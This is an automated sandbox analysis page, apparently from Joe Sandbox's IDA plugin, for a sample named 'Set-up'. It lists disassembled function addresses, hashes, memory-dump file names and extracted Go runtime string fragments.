Opcode ID: ff7023b367fb5e412e53ed4f46f1282140f8cdcae31d71bd15fdbe4db67f5ee1
Instruction ID: 3301dacc7d387870d0cb1f3bbcf626834088d5049e1f085193e5b47d52179940
Opcode Fuzzy Hash: ff7023b367fb5e412e53ed4f46f1282140f8cdcae31d71bd15fdbe4db67f5ee1
Instruction Fuzzy Hash: 1541E1B41197448FC304EF28C081A6ABBE1EF89704F45886DF8C88B352E775D849EB32

Function 00D6CCC0 Relevance: 7.6, Strings: 6, Instructions: 89COMMON

Download Yara Rule

Strings

attempt to clear non-empty span setber2der: BER tag length is negativeencoding/hex: odd length hex stringexecutable file not found in %PATH%file type does not support deadlinefindrunnable: netpoll with spinninggreyobject: obj not pointer-alignedmheap.freeSpanL, xrefs: 00D6CE28
, tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyreneParseUintRegister, xrefs: 00D6CDF4
span set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %vcompileCallback: argument size is larger than uintptr : string slice index out of bounds : non-interface type passed to Type.Impleme, xrefs: 00D6CDA7
#, xrefs: 00D6CE31
head = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyB, xrefs: 00D6CDCA
fully empty unfreed span set block found in resetinvalid memory address or nil pointer dereferenceinvalid or incomplete multibyte or wide characternot enough significant bits after mult128bitPow10panicwrap: unexpected string after package name: , xrefs: 00D6CD91

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: #$, tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFreeMalayalamMemberRefMethodDefMethodPtrModuleRefMongolianMoveFileWNabataeanPalmyreneParseUintRegister$attempt to clear non-empty span setber2der: BER tag length is negativeencoding/hex: odd length hex stringexecutable file not found in %PATH%file type does not support deadlinefindrunnable: netpoll with spinninggreyobject: obj not pointer-alignedmheap.freeSpanL$fully empty unfreed span set block found in resetinvalid memory address or nil pointer dereferenceinvalid or incomplete multibyte or wide characternot enough significant bits after mult128bitPow10panicwrap: unexpected string after package name: $head = invalidminpc= pacer: panic: readdirrunningserial:signal syscalluintptrunknownwaiting bytes, etypes is not maxpc= mcount= minLC= minutes nalloc= newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyB$span set block with unpopped elements found in resetx509: cannot verify signature: insecure algorithm %vcompileCallback: argument size is larger than uintptr : string slice index out of bounds : non-interface type passed to Type.Impleme
API String ID: 0-25292266
Opcode ID: b854382eac97c688362ce3702e8c2051d2652a31ebc97ed5f2dc9d95485fc191
Instruction ID: 9cd83d3efbaa4002eaa15dedb3a7adc3e112cb851c12c6ef90b4675fff08c99d
Opcode Fuzzy Hash: b854382eac97c688362ce3702e8c2051d2652a31ebc97ed5f2dc9d95485fc191
Instruction Fuzzy Hash: C541BBB85087058FD300EF68D18572ABBE1FF88744F44882DE8D88B256E7759988DB73

Function 00D6EDA0 Relevance: 7.6, Strings: 6, Instructions: 61COMMON

Download Yara Rule

Strings

', xrefs: 00D6EE1A
', xrefs: 00D6EE22
Powe, xrefs: 00D6EE12
erRegisterSuspendResumeNotification, xrefs: 00D6EE04
powr, xrefs: 00D6EDD0
owrprof.dll, xrefs: 00D6EDC5

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: '$'$Powe$erRegisterSuspendResumeNotification$owrprof.dll$powr
API String ID: 0-2222458068
Opcode ID: 12e50b9d6ba39fb14daa1a8fc091c4eeb13b387fa5bc2921e1283a59b0983f8d
Instruction ID: e12b26ea0d1b09a51c866b61fa0d024af19ac5138d9c5749e188a8425c8d41b0
Opcode Fuzzy Hash: 12e50b9d6ba39fb14daa1a8fc091c4eeb13b387fa5bc2921e1283a59b0983f8d
Instruction Fuzzy Hash: 9F31FFB85083058FD710EF24C18175ABBE0FB94748F40882EF49887251E779EA89CFA3

Function 00D58ED0 Relevance: 6.5, Strings: 5, Instructions: 285COMMON

Download Yara Rule

Strings

not in stack roots range [363797880709171295166015625AddVectoredContinueHandler, xrefs: 00D59158
), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT, xrefs: 00D591AC
runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region of span!#$%&'()-@^_`{}~+,, xrefs: 00D5912E
, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS, xrefs: 00D59182
markroot: bad indexmissing ']' in hostmissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in , xrefs: 00D591C7

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: not in stack roots range [363797880709171295166015625AddVectoredContinueHandler$), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADT$, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS$markroot: bad indexmissing ']' in hostmissing deferreturnmspan.sweep: state=notesleep not on g0ntdll.dll not foundnwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in $runtime: markroot index runtime: p.searchAddr = span has no free objectsstack trace unavailablestructure needs cleaningx509: malformed validityzlib: invalid dictionary{%06X-%04X-%04X-%04X-%X} bytes failed with errno= to unused region of span!#$%&'()-@^_`{}~+,
API String ID: 0-1940792337
Opcode ID: c8159bceadc288cce0ac9876ba553a3196fceb18eaedbf817895c0bb9db7944d
Instruction ID: f9fc6d7af42b62ee16899101a5ae1470ba67102bb1824b6bbb5a55b124a52152
Opcode Fuzzy Hash: c8159bceadc288cce0ac9876ba553a3196fceb18eaedbf817895c0bb9db7944d
Instruction Fuzzy Hash: CFD1F474609345DFDB14EF28D190A2ABBE1FB88740F44882EE88987355E775D848DF62

Function 00D59E30 Relevance: 6.5, Strings: 5, Instructions: 232COMMON

Download Yara Rule

Strings

runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemR, xrefs: 00D5A121
runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p s, xrefs: 00D5A1A2
work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcesses, xrefs: 00D5A14B, 00D5A1CC
work.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAzerbaijan Standard TimeBangladesh Standard TimeBuildSecurityDescriptorW, xrefs: 00D5A17F
nwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcda, xrefs: 00D5A200

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcesses$nwait > work.nprocspageAlloc.scav.lockpanic during mallocpanic during panicpanic holding lockspanicwrap: no ( in panicwrap: no ) in runtime: g0 stack [runtime: pcda$runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemsscanstack - bad statussend on closed channelspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected method stepwirep: invalid p s$runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemR$work.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAzerbaijan Standard TimeBangladesh Standard TimeBuildSecurityDescriptorW
API String ID: 0-3417598864
Opcode ID: eabb6c04d6c518b39a0aa32b113510e55d39cc77988a6136dde5dc227c42aa1f
Instruction ID: c38815043c3664bb3ecfad234daa74621853d2d756f7b833ac08682a7675e7cc
Opcode Fuzzy Hash: eabb6c04d6c518b39a0aa32b113510e55d39cc77988a6136dde5dc227c42aa1f
Instruction Fuzzy Hash: F5B1F3B45097008FD714EF28D195B6EBBE1EF88704F05892DF8898B352E779D848DB62

Function 00D77D60 Relevance: 6.5, Strings: 5, Instructions: 230COMMON

Download Yara Rule

Strings

casgstatus: waiting for Gwaiting but is Grunnabledelayed zeroing on data that may contain pointersfully empty unfreed span set block found in resetinvalid memory address or nil pointer dereferenceinvalid or incomplete multibyte or wide characternot enough sign, xrefs: 00D77FEF
casgstatus: bad incoming valuescheckmark found unmarked objectcoff symbols parsing failed: %ventersyscallblock inconsistent fmt: unknown base; can't happeninternal error - misuse of itabinvalid network interface indexmalformed time zone informationnon in-use s, xrefs: 00D7809A
newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFiel, xrefs: 00D78066
runtime: casgstatus: oldval=runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: invalid RSA public key45474735088646411895751953125CM_Get_, xrefs: 00D7803C
1, xrefs: 00D77FF8

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: newval= nfreed= pointer stack=[ status %!Month(2.5.4.102.5.4.112.5.4.1748828125AcceptExArmenianAssemblyBalineseBopomofoBugineseCancelIoCherokeeClassANYCodeViewConstantCyrillicDNS nameDSA-SHA1DecemberDuployanEqualSidEthiopicEventMapEventPtrExtenderFebruaryFiel$1$casgstatus: bad incoming valuescheckmark found unmarked objectcoff symbols parsing failed: %ventersyscallblock inconsistent fmt: unknown base; can't happeninternal error - misuse of itabinvalid network interface indexmalformed time zone informationnon in-use s$casgstatus: waiting for Gwaiting but is Grunnabledelayed zeroing on data that may contain pointersfully empty unfreed span set block found in resetinvalid memory address or nil pointer dereferenceinvalid or incomplete multibyte or wide characternot enough sign$runtime: casgstatus: oldval=runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: invalid RSA public key45474735088646411895751953125CM_Get_
API String ID: 0-853169293
Opcode ID: 268dc13a074b33ccd8fab5bbe1f2a17f99027c0ffdec1bfac0b5254f7e500a4b
Instruction ID: ecf1d482322604700c5a4328d2c6662f97be228d28a063b107c7098caa1fc427
Opcode Fuzzy Hash: 268dc13a074b33ccd8fab5bbe1f2a17f99027c0ffdec1bfac0b5254f7e500a4b
Instruction Fuzzy Hash: BEA1E1745093458FC750EF24C08072ABBE1FF88714F548D6DE8998B362E775E886DBA2

Function 00D87F60 Relevance: 6.4, Strings: 5, Instructions: 192COMMON

Download Yara Rule

Strings

!, xrefs: 00D881F8
stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fieldstimer period must be non-negativetoo many Answers to pack (>65535)too many levels of symbolic linksunaligned 64-bit atomic operationwaiting for unsupported file , xrefs: 00D881EF
stack size not a power of 2startm: negative nmspinningstopTheWorld: holding lockstime: invalid location nametimer when must be positivetoo many callback functionsunsupported string type: %vwork.nwait was > work.nprocx509: malformed certificate args stack map e, xrefs: 00D881D9
out of memoryparsing time powrprof.dll, xrefs: 00D880CE
out of memory (stackalloc)persistentalloc: size == 0pkcs7: input data is empty required key not availableruntime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to me, xrefs: 00D88004

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: !$out of memory (stackalloc)persistentalloc: size == 0pkcs7: input data is empty required key not availableruntime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to me$out of memoryparsing time powrprof.dll$stack size not a power of 2startm: negative nmspinningstopTheWorld: holding lockstime: invalid location nametimer when must be positivetoo many callback functionsunsupported string type: %vwork.nwait was > work.nprocx509: malformed certificate args stack map e$stackalloc not on scheduler stackstoplockedm: inconsistent lockingstruct contains unexported fieldstimer period must be non-negativetoo many Answers to pack (>65535)too many levels of symbolic linksunaligned 64-bit atomic operationwaiting for unsupported file
API String ID: 0-1005823644
Opcode ID: 489152acd11e20008e2e17aa7f9dda97923699f12671c383a0faf83864a96a3e
Instruction ID: 1a5d0a941b30b8966bce4ed59cc5299128bd64ce5144b8bbce8aca7c6c219b7b
Opcode Fuzzy Hash: 489152acd11e20008e2e17aa7f9dda97923699f12671c383a0faf83864a96a3e
Instruction Fuzzy Hash: FE816A74608345CFC754EF28D18066EBBE1FF98300F54892DE8898B355EB35D989DBA2

Function 00D4B750 Relevance: 6.4, Strings: 5, Instructions: 178COMMON

Download Yara Rule

Strings

persistentalloc: align is too largepidleput: P has non-empty run queue of non-slice typeruntime: close polldesc w/o unblockruntime: createevent failed; errno=ryuFtoaFixed32 called with prec > 9strings.Reader.Seek: invalid whencesuperfluous lea, xrefs: 00D4B9A9
*, xrefs: 00D4B9C8
persistentalloc: size == 0pkcs7: input data is empty required key not availableruntime: bad span s.state=runtime: pcHeader: magic= segment prefix is reservedshrinking stack in libcallstartlockedm: locked to metoo many colons in address, xrefs: 00D4B9D5
persistentalloc: align is not a power of 2runtime: blocked write on closing polldescsync/atomic: store of nil value into Valuetest executed panic(nil) or runtime.Goexitunexpected signal during runtime executionx509: %q cannot be encoded as an IA5Stringx509: RS, xrefs: 00D4B9BF
runtime: cannot allocate memoryruntime: failed to commit pagesruntime: split stack overflow: slice bounds out of range [%x:]slice bounds out of range [:%x]x509: certificate is valid for x509: malformed GeneralizedTimex509: malformed subjectUniqueIDx509: malfor, xrefs: 00D4B982

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

